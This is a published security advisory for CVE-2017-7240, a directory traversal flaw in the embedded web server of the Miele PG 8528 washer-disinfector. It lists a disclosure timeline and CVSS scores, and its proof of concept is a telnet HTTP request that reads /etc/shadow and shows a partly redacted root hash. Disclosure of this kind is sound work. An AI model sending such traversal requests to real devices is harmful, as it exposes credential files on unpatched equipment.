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1.8 KiB
Text
68 lines
No EOL
1.8 KiB
Text
Title:
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======
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Miele Professional PG 8528 - Web Server Directory Traversal
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Author:
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=======
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Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG
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CVE-ID:
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=======
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CVE-2017-7240
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Risk Information:
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=================
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Risk Factor: Medium
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CVSS Base Score: 5.0
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CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N
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CVSS Temporal Vector: CVSS2#E:POC/RL:OF/RC:C
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CVSS Temporal Score: 3.9
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Timeline:
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=========
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2016-11-16 Vulnerability discovered
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2016-11-10 Asked for security contact
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2016-11-21 Contact with Miele product representative
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2016-12-03 Send details to the Miele product representative
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2017-01-19 Asked for update, no response
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2017-02-03 Asked for update, no response
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2017-03-23 Public disclosure
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Status:
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=======
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Published
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Affected Products:
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==================
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Miele Professional PG 8528 (washer-disinfector) with ethernet interface.
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Vendor Homepage:
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================
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https://www.miele.co.uk/professional/large-capacity-washer-disinfectors-560.htm?mat=10339600&name=PG_8528
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Details:
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========
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The corresponding embeded webserver "PST10 WebServer" typically listens to port 80 and is prone to a directory traversal attack, therefore an unauthenticated attacker may be able to exploit this issue to access sensitive information to aide in subsequent attacks.
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Proof of Concept:
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=================
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~$ telnet 192.168.0.1 80
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Trying 192.168.0.1...
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Connected to 192.168.0.1.
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Escape character ist '^]'.
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GET /../../../../../../../../../../../../etc/shadow HTTP/1.1
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HTTP/1.1 200 OK
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Date: Wed, 16 Nov 2016 11:58:50 GMT
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Server: PST10 WebServer
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Content-Type: application/octet-stream
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Last-Modified: Fri, 22 Feb 2013 10:04:40 GMT
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Content-disposition: attachment; filename="./etc/shadow"
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Accept-Ranges: bytes
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Content-Length: 52
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root:$1$$Md0i[...snip...]Z001:10933:0:99999:7:::
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Fix:
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====
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We are not aware of an actual fix. |